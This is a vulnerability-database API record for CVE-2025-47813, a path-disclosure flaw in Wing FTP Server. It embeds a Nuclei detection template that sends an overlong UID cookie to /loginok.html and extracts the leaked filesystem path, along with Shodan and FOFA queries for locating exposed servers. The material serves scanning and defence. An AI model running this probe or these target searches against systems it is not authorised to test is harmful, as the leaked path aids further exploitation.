{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-47813/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-47813/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-47813/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-47813/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-47813/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-47813"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-47813"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-47813.yaml",
    "nuclei_template_severity": "medium",
    "nuclei_template_yaml": "id: CVE-2025-47813\n\ninfo:\n  name: Wing FTP Server <= 7.4.3 - Path Disclosure via Overlong UID Cookie\n  author: rcesecurity,pdteam\n  severity: medium\n  description: |\n    Wing FTP Server versions prior to 7.4.4 are vulnerable to an authenticated information disclosure vulnerability (CVE-2025-47813).\n    The vulnerability occurs due to improper validation of the 'UID' session cookie in the /loginok.html endpoint. Supplying an\n    overlong UID value causes the server to respond with an error that includes the full local filesystem path. This can aid in further\n    exploitation (e.g., CVE-2025-47812) by revealing the application’s file system layout.\n  impact: |\n    Authenticated attackers can supply an overlong UID cookie value to trigger error responses that disclose the full local filesystem path, aiding in further exploitation attempts.\n  remediation: |\n    Upgrade Wing FTP Server to version 7.4.4 or later that properly validates UID cookie values.\n  reference:\n    - https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/\n    - https://www.wftpserver.com\n  classification:\n    epss-score: 0.62967\n    epss-percentile: 0.99162\n    cve-id: CVE-2025-47813\n    cwe-id: CWE-209\n    cvss-score: 5.3\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NH\n  metadata:\n    product: wftpserver\n    vendor: wing_ftp_server\n    verified: false\n    shodan-query:\n      - http.html_hash:2121146066\n      - http.favicon.hash:963565804\n      - title:\"Wing FTP Server\"\n      - \"Server: Wing FTP Server\"\n    fofa-query:\n      - icon_hash=\"963565804\"\n      - title=\"Wing FTP Server\"\n    zoomeye-query:\n      - app=\"Wing FTP Server\"\n  tags: cve,cve2025,wingftp,unauth,exposure,vuln,kev,vkev\n\nvariables:\n  longuid: \"{{repeat('A', 2048)}}\"\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/loginok.html\"\n\n    headers:\n      Cookie: \"UID={{longuid}}\"\n      Content-Type: application/x-www-form-urlencoded\n\n    body: \"username=anonymous&password=test\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Server Path\"\n          - \"Error\"\n          - \":\\\\\\\\\"  # Windows path\n          - \"/usr/\"  # Linux path\n        condition: or\n\n      - type: word\n        part: header\n        words:\n          - \"Wing FTP Server\"\n\n    extractors:\n      - type: regex\n        part: body\n        regex:\n          - '([a-zA-Z]:[\\\\/][^A\\r\\n]{10,})'\n# digest: 4a0a004730450220401afa15729a844b9f6603e428a0a4e2bffffe76a4f49ead591b4c72d3463f93022100f37b1b51e7ea21eac7ed98adc6f4739941d4d61328c913d1460ac17d0f1c6036:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-47813"
}